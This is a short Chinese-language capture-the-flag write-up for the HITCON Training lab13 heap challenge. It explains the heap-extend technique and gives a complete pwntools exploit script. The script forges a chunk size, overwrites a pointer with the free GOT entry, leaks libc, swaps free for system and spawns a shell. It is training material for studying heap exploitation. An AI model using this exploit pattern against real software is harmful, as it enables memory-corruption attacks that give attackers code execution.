pwn-extend

HITCON Trainging lab13

extend技术主要是能够修改size标志位,构造好我们伪造好size标志位的chunk,当再次malloc之时,chunk就能够扩大范围,如果在修改后的chunk范围内,能修改某个指针,且该指针可以利用来泄露或者修改指定地址内容,即可利用。

HITCON Trainging lab13即是利用了heap-extend技术实现利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

p = process('./heapcreator')
elf = ELF('./heapcreator')
libc = ELF('./libc-2.23.so')
gdb.attach(p)

def create(size, content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.send(content)


def edit(idx, content):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil(":")
p.send(content)


def show(idx):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))


def delete(idx):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(str(idx))


free_got = 0x602018
create(0x18, 'A'*4) # 0
create(0x10, 'B'*4) # 1

edit(0, "/bin/sh\x00" + p64(0) * 2 + "\x41")

delete(1)


create(0x30, p64(0) * 4 + p64(0x30) + p64(elf.got['free'])) #1
# leak freeaddr
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")

free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))

edit(1, p64(system_addr))

# get shell
delete(0)
p.interactive()